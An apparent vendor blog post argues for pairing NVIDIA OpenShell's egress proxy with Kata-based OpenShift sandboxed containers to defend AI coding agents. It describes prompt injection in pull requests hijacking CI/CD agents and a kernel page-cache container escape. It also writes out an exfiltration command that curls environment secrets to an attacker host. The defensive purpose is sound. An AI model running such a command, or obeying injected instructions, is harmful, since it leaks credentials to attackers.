To do their job, AI coding agents need to run shell commands, read and write files, and make network calls. That's the same capability profile as a compromised workload, and no single sandbox technology covers the full threat surface. Red Hat OpenShift sandboxed containers and NVIDIA OpenShell each address a different part of the problem. Together, they help reduce the attack surface that either one leaves open on its own.
The vector: How attackers manipulate agent workflows
The security challenges aren't new. Data exfiltration, privilege escalation, and container escape have been concerns since organizations started running untrusted code in shared environments. What's changed is the attack surface. Attackers can manipulate an AI agent that processes untrusted input (such as a pull request, a Git patch, or an issue comment) into executing those attacks without human intervention. The agent becomes the vector.
Two recent incidents make the point. In June 2026, Microsoft published research showing how prompt injections hidden in GitHub pull requests could hijack continuous integration/continuous delivery (CI/CD) agents into leaking secrets. Separately, a kernel vulnerability (CVE-2026-31431) surfaced that allows an unprivileged process to corrupt a shared page cache. It's a 732-byte Python script, 100% reliable, with no race conditions. It's now on the Cybersecurity and Infrastructure Security Agency (CISA) Known Exploited Vulnerabilities catalog. Both were disclosed in 2026. Both are directly relevant to anyone running agents in containers.
No single sandbox technology handles both of these threat classes.
OpenShell: The exoskeleton protecting your agents, and more importantly, your secrets
NVIDIA OpenShell is a rapidly evolving project that addresses this exposure by wrapping each agent in a policy-enforced sandbox at the application layer. Its core mechanism is a network egress proxy that sits between the agent process and the outside world. Every outbound connection (HTTP, HTTPS, or raw TCP) routes through this proxy, which evaluates the destination, port, calling binary, and optionally the HTTP method and path. The default posture is deny-all.
In practice, you write a policy that allowlists exactly the endpoints your agent needs. For an AI coding agent backed by a local inference server, that might be a single entry: the model API endpoint on port 8000. Everything else is denied.
If a prompt injection tricks the agent into running curl http://attacker-controlled-host/exfil -d "$(cat /proc/self/environ)", the proxy intercepts the connection attempt and returns policy_denied. In our testing, the secrets didn't leave the sandbox.
OpenShell also enforces file system isolation through Linux Landlock, restricting which paths the agent can read and write. The agent runs as an unprivileged user with dropped capabilities. These mechanisms are aimed at application-layer threats, such as data exfiltration, unauthorized API calls, and credential leakage through network channels. If an attacker's goal is to get data out of the sandbox over the network, this is the kind of defense that can stop them.
But there's a category of attack it can't address. Landlock, seccomp, and the network proxy all operate within the kernel's own integrity boundary. They rely on the kernel being trustworthy. If an attacker finds a bug that lets them corrupt kernel memory directly, say a page-cache write primitive that bypasses all file permission checks, then every user space security mechanism built on top of that kernel becomes irrelevant. This vulnerability affects OpenShell itself: its proxy and supervisor share the same kernel and page cache as the workload, so a kernel-level attack could potentially corrupt the enforcement mechanism, not just bypass it.
OpenShift sandboxed containers (Kata Containers): Kernel isolation that protects the host from the workload
OpenShift sandboxed containers, based on Kata Containers, starts from a different premise. Instead of enforcing policy within a shared kernel, it removes the shared kernel from the equation entirely. Each pod gets its own kernel inside a lightweight virtual machine.
The isolation boundary isn't a Linux namespace or a seccomp filter. It's the CPU's hardware virtualization extensions (VT-x on Intel, AMD-V on AMD), enforced by the hypervisor. A kernel exploit inside the container affects the guest kernel, not the host.
This distinction matters for page cache attacks specifically. Under the standard container runtime (runc with overlayfs), the page cache is shared with the host kernel. Corrupting a file's page cache inside one container makes that corruption visible to every other container sharing the same image layer. That's a container escape.
Under OpenShift sandboxed containers, the container file system uses virtiofs (a FUSE-based file system) with its own page cache. The exploit's splice-based primitive targets the kernel's page cache path, but the virtiofs architecture means the corruption either stays isolated within the virtual machine (VM) or doesn't occur at all. The host kernel and its page cache are never touched.
But OpenShift sandboxed containers doesn't inspect what the workload does at the application layer. It doesn't filter network traffic or enforce egress policies. It doesn't care whether the process inside the VM is calling the model API or posting secrets to an attacker-controlled server. From its perspective, curl http://attacker-controlled-host/exfil is a normal network operation. The packets leave the VM, traverse the pod network, and reach their destination without interference.
The gap neither closes alone
Here's the problem laid out plainly:
| Threat | OpenShell | OpenShift sandboxed containers |
|---|---|---|
| Data exfiltration via HTTP | Mitigates | No coverage |
| Prompt injection leading to data exfiltration | Mitigates | No coverage |
| Kernel exploit or container escape | No coverage | Mitigates |
| Cross-container page cache corruption | No coverage | Mitigates |
OpenShell handles threats above the kernel, while OpenShift sandboxed containers handles threats at and below the kernel. Each leaves a gap that falls squarely in the other's coverage area.
Why AI coding agents increase infrastructure risk
For a traditional web application, you might accept one of these gaps. A well-patched, tightly configured container runtime with network policies might be enough. But AI coding agents shift the security risk in two specific ways.
They process untrusted input as a core part of their job. Reviewing a pull request, applying a patch, and reading an issue description are normal agent tasks. Every one of them is a prompt injection surface. The application-layer risk isn't hypothetical; it's inherent to the workflow.
They also routinely run arbitrary commands: pip install, npm install, make, cargo build, arbitrary shell scripts. Agents run these as part of their normal operation. Any of these could trigger a kernel vulnerability. The kernel attack surface isn't behind a privilege boundary; it's directly exposed to the agent's everyday work.
Running an agent with only one protection layer leaves a gap that a motivated attacker or an unlucky dependency can exploit.
Dual protection: Covering more ground on OpenShift
Running OpenShell inside an OpenShift sandboxed containers VM gives you both layers simultaneously.
The agent process sits inside an OpenShell sandbox, which enforces application-layer policy: egress filtering, file system isolation, process restrictions. That sandbox runs inside a Kata micro-VM, which provides a dedicated guest kernel isolated from the host by hardware virtualization.
In our testing, an application-layer attack (prompt injection leading to data exfiltration) hit OpenShell's egress proxy, which denied the connection. A kernel-level attack (CVE-2026-31431 targeting shared page cache) hit the VM boundary, and the exploit failed to corrupt the page cache at all. The host and other containers weren't affected.
Neither layer interferes with the other. OpenShell doesn't need to know it's running inside a VM. OpenShift sandboxed containers doesn't need to know that the workload has an application-layer proxy. They compose cleanly because they operate at different levels of the architecture.
Red Hat OpenShift provides the native operator-driven tools you need to assemble this layered defense today. The OpenShift sandboxed containers operator is available in OperatorHub. OpenShell, while still an early-stage project, deploys via a Helm chart and is actively being developed for Kubernetes environments. A pod gets dual protection by specifying the kata RuntimeClass and running inside an OpenShell sandbox. This deployment uses the same container image, the same agent configuration, the same model endpoint.
What happens when you test it
Theory is one thing. We wanted to see it break.
We set up three identically configured pods on Red Hat OpenShift 4.21, running the same AI coding agent connected to the same inference endpoint. One pod had only OpenShift sandboxed containers (Kata VM, no OpenShell). One had only OpenShell (application-layer policy, no VM). One had both.
We ran two attacks against all three pods. For the first, we executed the exfiltration command directly inside each pod, bypassing the LLM entirely. This is a more stringent test: we're not asking whether the model's guardrails will save you, we assume they won't and show that OpenShell caught the data leak anyway.
For the second, we ran a live exploit of CVE-2026-31431 that corrupts a file's page cache and proves whether the corruption escapes to other containers on the same node. When OpenShell blocked the exfiltration attempt, the proxy returned policy_denied. When the exploit ran against an unprotected container on overlayfs, a verification pod on the same node read PWN!CT from the corrupted marker file.
Sandbox validation results
The results are shown in the following table.
| Attack | Kata Containers only | OpenShell only | Both |
|---|---|---|---|
| Prompt injection exfiltration | DATA LEAKED | BLOCKED | BLOCKED |
| CVE-2026-31431 container escape | BLOCKED | HOST COMPROMISED | BLOCKED |
Each attack succeeded against the pod missing its corresponding protection. Only the dual-protected pod stopped both.
Shifting to a layered security architecture
This layered approach is what defense in depth looks like in practice: not redundant layers doing the same thing, but complementary layers covering each other's blind spots. No combination of tools can eliminate all security risks, but running only one layer leaves a gap that's straightforward to exploit.
In part 2, we walk through exactly how each attack works, why each defense stops (or fails to stop) it, and how we proved the results. If you want to see the exploit output, the policy denial messages, and the verification method, that's where to go.
Ready to build a layered defense for your agents? Explore Red Hat OpenShift sandboxed containers and NVIDIA OpenShell for your own AI agent workloads.
